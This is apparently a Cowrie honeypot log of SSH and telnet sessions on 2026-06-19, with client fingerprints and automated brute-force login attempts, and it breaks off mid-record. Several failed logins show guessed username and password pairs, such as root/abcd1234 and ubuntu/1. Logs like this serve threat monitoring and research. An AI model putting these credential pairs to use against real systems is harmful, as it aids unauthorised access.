{"eventid":"cowrie.session.closed","duration":120.00097346305847,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:59.154331Z","src_ip":"94.23.66.112","session":"6c7b9e28a014","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63314,"dst_ip":"10.17.0.5","dst_port":22,"session":"138dca03a0ec","protocol":"ssh","message":"New connection: 141.11.88.14:63314 (10.17.0.5:22) [session: 138dca03a0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:02.028936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:02.127245Z","src_ip":"141.11.88.14","session":"138dca03a0ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:02.131716Z","src_ip":"141.11.88.14","session":"138dca03a0ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"123","message":"login attempt [alex/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:03.133867Z","src_ip":"141.11.88.14","session":"138dca03a0ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:04.563660Z","src_ip":"141.11.88.14","session":"138dca03a0ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":32878,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc2239582cbf","protocol":"ssh","message":"New connection: 197.5.145.150:32878 (10.17.0.5:22) [session: bc2239582cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:06.128783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:06.133632Z","src_ip":"197.5.145.150","session":"bc2239582cbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:06.257386Z","src_ip":"197.5.145.150","session":"bc2239582cbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"225588","message":"login attempt [root/225588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:06.764719Z","src_ip":"197.5.145.150","session":"bc2239582cbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63344,"dst_ip":"10.17.0.5","dst_port":22,"session":"2410be93f665","protocol":"ssh","message":"New connection: 141.11.88.14:63344 (10.17.0.5:22) [session: 2410be93f665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:07.508667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:07.592836Z","src_ip":"141.11.88.14","session":"2410be93f665","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:07.597710Z","src_ip":"141.11.88.14","session":"2410be93f665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:07.887608Z","src_ip":"197.5.145.150","session":"bc2239582cbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"botuser","message":"login attempt [botuser/botuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:08.403175Z","src_ip":"141.11.88.14","session":"2410be93f665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:09.486369Z","src_ip":"141.11.88.14","session":"2410be93f665","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56790,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb9b2c8e924f","protocol":"ssh","message":"New connection: 141.11.88.14:56790 (10.17.0.5:22) [session: eb9b2c8e924f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:14.339600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:14.401201Z","src_ip":"141.11.88.14","session":"eb9b2c8e924f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:14.473228Z","src_ip":"141.11.88.14","session":"eb9b2c8e924f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:14.997071Z","src_ip":"141.11.88.14","session":"eb9b2c8e924f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:16.084884Z","src_ip":"141.11.88.14","session":"eb9b2c8e924f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":22220,"dst_ip":"10.17.0.5","dst_port":22,"session":"04ebf4ae258e","protocol":"ssh","message":"New connection: 141.11.88.14:22220 (10.17.0.5:22) [session: 04ebf4ae258e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:20.625094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:20.785592Z","src_ip":"141.11.88.14","session":"04ebf4ae258e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:20.788973Z","src_ip":"141.11.88.14","session":"04ebf4ae258e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ali123","message":"login attempt [root/ali123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:22.793761Z","src_ip":"141.11.88.14","session":"04ebf4ae258e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:24.041438Z","src_ip":"141.11.88.14","session":"04ebf4ae258e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":30488,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1f85a4074eb","protocol":"ssh","message":"New connection: 141.11.88.14:30488 (10.17.0.5:22) [session: e1f85a4074eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:29.072723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:29.438043Z","src_ip":"141.11.88.14","session":"e1f85a4074eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:29.681301Z","src_ip":"141.11.88.14","session":"e1f85a4074eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"HaCoi01@azzxxx","message":"login attempt [root/HaCoi01@azzxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:31.549643Z","src_ip":"141.11.88.14","session":"e1f85a4074eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:32.661752Z","src_ip":"141.11.88.14","session":"e1f85a4074eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":30520,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1412c602055","protocol":"ssh","message":"New connection: 141.11.88.14:30520 (10.17.0.5:22) [session: f1412c602055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:33.373239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:33.395729Z","src_ip":"141.11.88.14","session":"f1412c602055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:33.485358Z","src_ip":"141.11.88.14","session":"f1412c602055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":35450,"dst_ip":"10.17.0.5","dst_port":22,"session":"5921aa829b72","protocol":"ssh","message":"New connection: 197.5.145.150:35450 (10.17.0.5:22) [session: 5921aa829b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:34.580465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:34.585762Z","src_ip":"197.5.145.150","session":"5921aa829b72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:34.704595Z","src_ip":"197.5.145.150","session":"5921aa829b72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:34.782780Z","src_ip":"141.11.88.14","session":"f1412c602055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prueba","message":"login attempt [root/prueba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:35.200406Z","src_ip":"197.5.145.150","session":"5921aa829b72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:36.057450Z","src_ip":"141.11.88.14","session":"f1412c602055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:36.322160Z","src_ip":"197.5.145.150","session":"5921aa829b72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":49456,"dst_ip":"10.17.0.5","dst_port":22,"session":"4808c6589c0b","protocol":"ssh","message":"New connection: 141.11.88.14:49456 (10.17.0.5:22) [session: 4808c6589c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:39.061175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:39.242307Z","src_ip":"141.11.88.14","session":"4808c6589c0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-